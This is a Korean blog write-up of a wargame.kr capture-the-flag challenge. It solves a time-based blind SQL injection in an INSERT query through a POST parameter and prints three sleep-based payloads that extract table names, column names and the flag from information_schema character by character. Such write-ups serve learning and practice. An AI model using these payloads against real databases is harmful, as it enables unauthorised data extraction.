Hacking/wargame.kr

[wargame.kr] Question 19. QnA

알거음슴 2021. 7. 19. 22:41

Question 19. QnA

문제

Time based SQLi challenge. (with Insert Query)

you can't see the result after insert query.

but you can SQLi Attack!

 

 

 

풀이

문제 접근 시 javascript를 기반의 사이트가 제공된다 다양한 폼에 다양한 기능들이 제공되고 있으며 이중 취약점의 대한 분석을 진행한다.

 

 

To JSMaster 탭의 기능중 send 기능을 누르면 post_method 방식의 데이터가 전송되는데 이중 type=1 항목에 SQL Injection이 가능함을 확인할 수 있었다.

 

 

해당 파이썬 코드를 활용하여 문제를 풀이하였다. payload 변수 내 원하는 SQL Injection 구문을 삽입하여 작동하면 되고, 문제를 푸는데 필요한 DB 정보의 경우 table_name, column_name 두 값을 조합하여 flag를 찾아야한다.

 

내가 사용한 payload는 다음과 같다.

1) table 정보 획득 : 1 and if(ord(substr((select table_name from information_schema.tables),'+str(i)+',1))='+str(j)+',sleep(2),1)'

2) column 정보 획득 : 1 and if(ord(substr((select column_name from information_schema.columns where   table_name=0x617574686b6579),'+str(i)+',1))='+str(w)+',sleep(2),1)

3) flag 정보 획득 : 1 and if(ord(substr((select authkey from authkey),'+str(i)+',1))='+str(w)+',sleep(2),1)

 

 

성공적으로 플래그를 찾을 수 있으며 제출 시 문제를 통과 할 수 있다.